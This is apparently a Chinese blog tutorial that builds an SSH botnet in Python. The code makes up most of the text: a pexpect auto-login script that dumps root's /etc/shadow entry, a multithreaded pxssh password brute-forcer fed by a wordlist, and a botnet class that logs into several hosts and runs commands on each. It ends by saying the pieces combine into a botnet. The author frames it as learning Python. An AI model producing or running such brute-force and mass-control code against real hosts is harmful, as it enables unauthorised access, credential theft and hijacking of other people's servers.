要构建SSH僵尸网络,先从SSH自动登陆脚本开始写起。
其中要用到 pexpect 模块
先看一下代码:
1 ssh_newkey = 'Are you sure you want to continue connecting' 2 child = pexpect.spawn('ssh root@localhost') #一看就懂,执行命令 3 ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #根本不懂啥意思……………… 4 if ret == 0: 5 print '[-] Error Connecting' 6 return 7 if ret == 1: 8 child.sendline('yes') #很明显是发送命令 9 ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])10 if ret == 0:11 print '[-] Error Connecting'12 return13 child.sendline(password)14 child.expect(['# ', '>>>', '>', '\$ '])15 child.sendline('cat /etc/shadow | grep root')16 child.expect(['# ', '>>>', '>', '\$ '])17 print child.before
自己实验一下代码,看看输入结果:
直接看到打印输出为'2',再来看一下官方文档:
expect()方法等待子应用程序返回给定的字符串。 您指定的字符串是正则表达式,因此您可以匹配复杂的模式。
可以看到时用来匹配字符串的,那么返回'2',就应该时匹配到了'password'字段。
接下来执行 child.sendline(password),很明显时发送密码字段,进行登陆。
然后执行 child.expect(['# ', '>>>', '>', '\$ ']),不明白为什么要匹配,还要匹配两次
再看一下官方文档
每次调用expect()之后的前后属性将被设置为由子应用程序打印的文本。 before属性将包含所有预期字符串模式的文本。
看完之后也没懂啥意思,自己试验一下:
发送密码之后直接打印为 'root@localhost's'
可以看到,如果不执行 expect 匹配字符串,child.before 的内容不会更新,所以每次执行完需要重新匹配一次,这样就成功打印出我们想要的信息。
搞懂了代码,现在可以写一个完整的SSH自动登陆脚本:
1 import pexpect 2 3 PROMPT = ['# ', '>>> ', '> ', '\$ '] 4 5 6 def send_command(child, cmd): 7 8 child.sendline(cmd) 9 child.expect(PROMPT)10 print child.before #打印执行的命令和结果11 12 13 def connect(user, host, password):14 15 ssh_newkey = 'Are you sure you want to continue connecting'16 connStr = 'ssh ' + user + '@' + host17 child = pexpect.spawn(connStr) #执行命令18 ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #pexpect.TIMEOUT为连接超时时间19 if ret == 0:20 print '[-] Error Connecting' #ret为0则匹配第一个字符串,为连接超时21 return22 if ret == 1:23 child.sendline('yes') #匹配第二个字符串,则要输入'yes'24 ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) #发送命令之后,再次进行字符串匹配,否则结果不会更新25 if ret == 0:26 print '[-] Error Connecting'27 return28 child.sendline(password)29 child.expect(PROMPT)30 return child31 32 33 def main():34 35 host = 'localhost'36 user = 'root'37 password = 'xxx'38 child = connect(user, host, password)39 send_command(child, 'cat /etc/shadow | grep root')40 41 if __name__ == '__main__':42 43 main()
接下来要用一个更加方便的库 pxssh,来进行SSH的暴力破解,用pxssh实现上面代码会更加简单
1 from pexpect import pxssh 2 3 def send_command(s, cmd): 4 5 s.sendline(cmd) 6 s.prompt() #和expect方法一样,匹配提示符,匹配到就返回Ture,匹配不到或超时返回False 7 print s.before 8 9 10 def connect(host, user, password):11 12 try:13 s = pxssh.pxssh()14 s.login(host, user, password)15 return s16 except:17 print '[-] Error Connecting'18 exit(0)19 s = connect('127.0.0.1', 'root', 'xxxx')20 send_command(s, 'cat /etc/shadow | grep root')
具体解释可参考:http://pexpect.sourceforge.net/pxssh.html#pxssh-prompt
接下来实现暴力破解功能,会使用到一个较高级的加锁机制:
Semaphores
信号量是一个更高级的锁机制。信号量内部有一个计数器而不像锁对象内部有锁标识,而且只有当占用信号量的线程数超过信号量时线程才阻塞。这允许了多个线程可以同时访问相同的代码区。
semaphore = threading.BoundedSemaphore()semaphore.acquire() #: counter减小
... 访问共享资源
semaphore.release() #: counter增大
当信号量被获取的时候,计数器减小;当信号量被释放的时候,计数器增大。当获取信号量的时候,如果计数器值为0,则该进程将阻塞。当某一信号量被释放,counter值增加为1时,被阻塞的线程(如果有的话)中会有一个得以继续运行。
信号量通常被用来限制对容量有限的资源的访问,比如一个网络连接或者数据库服务器。在这类场景中,只需要将计数器初始化为最大值,信号量的实现将为你完成剩下的事情。max_connections = 10semaphore = threading.BoundedSemaphore(max_connections)
理解这个机制之后,进行代码的编写
如果login()函数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值设为true。否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码是不对的,让函数返回即可。但是,如果异常显示socket为"read_nonblocking",可能是SSH服务器被大量连接刷爆了,可以稍等片刻后用相同密码再试一次。此外,如果该异常显示pxssh命令提示符提取困难,也应该等一会,然后让它再试一次。请注意,在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(),我们必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock信号。
1 #-*- coding=utf-8 -*- 2 from pexpect import pxssh 3 import optparse 4 import time 5 from threading import * 6 7 8 maxConnections = 5 9 connection_lock = BoundedSemaphore(value=maxConnections)10 Found = False11 Fails = 012 13 14 def connect(host, user, password, release):15 16 global Found17 global Fails18 try:19 s = pxssh.pxssh()20 s.login(host, user, password)21 print '[+] Password Found:' + password22 Found = True23 except Exception, e:24 if 'read_nonblocking' in str(e):25 Fails += 126 time.sleep(5)27 connect(host, user, password, False)28 elif 'synchronize with original prompt' in str(e):29 time.sleep(1)30 connect(host, user, password, False)31 finally:32 if release:33 connection_lock.release() #释放锁,信号量会增大34 35 36 def main():37 38 parser = optparse.OptionParser('usage%prog '+ '-H-u -F ') #编写命令行参数39 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')40 parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')41 parser.add_option('-u', dest='user', type='string', help='specify the user')42 (options, args) = parser.parse_args() #解析参数43 host = options.tgtHost44 passwdFile = options.passwdFile45 user = options.user46 if host == None or passwdFile == None or user == None:47 print parser.usage48 exit(0)49 fn = open(passwdFile, 'r')50 for line in fn.readlines():51 user = options.user52 if Found:53 print "[*] Exiting: Password Found"54 exit(0)55 if Fails > 5:56 print "[!] Exiting: Too Many Socket Timeouts"57 exit(0)58 connection_lock.acquire() # 加锁,信号量会减小59 password = line.strip('\r').strip('\n')60 print "[-] Testing: "+str(password)61 t = Thread(target=connect, args=(host, user, password, True))62 child = t.start()63 64 65 if __name__ == '__main__':66 67 main()
写完测试一下:
成功爆破出密码,但在windows下执行会报错……
查看一下,pexpect目录下的确没有spawn,但是linux系统下也是一样的,不明白为什么……
其实爆破SSH一直都是用Hydra的,写这个完全是为了学习python
能够爆破之后,接下来就是批量登陆并执行命令:
1 #-*- coding=utf-8 -*- 2 import optparse 3 from pexpect import pxssh 4 5 6 class Client: 7 8 def __init__(self, host, user, password): 9 self.host = host10 self.user = user11 self.password = password12 self.session = self.connect()13 14 def connect(self):15 16 try:17 s = pxssh.pxssh()18 s.login(self.host, self.user, self.password)19 return s20 except Exception, e:21 print e22 print '[-] Error Connecting'23 24 def send_command(self, cmd):25 26 self.session.sendline(cmd)27 self.session.prompt()28 return self.session.before29 30 def botnetCommand(command):31 32 for client in botNet:33 output = client.send_command(command)34 print '[*] Output from '+ client.host35 print '[+] ' + output + '\n'36 37 def addClient(host, user, password):38 39 client = Client(host, user, password)40 botNet.append(client)41 42 botNet = []43 addClient('10.10.10.110', 'root', 'toor') #这里可以把已爆破出的用户名密码做一个循环读出来,就是真正的批量登陆了44 addClient('10.10.10.120', 'root', 'toor')45 addClient('10.10.10.130', 'root', 'toor')46 botnetCommand('uname -v')47 botnetCommand('cat /etc/issue')
看一下结果:
结合以上两个脚本就可以构建SSH僵尸网络了。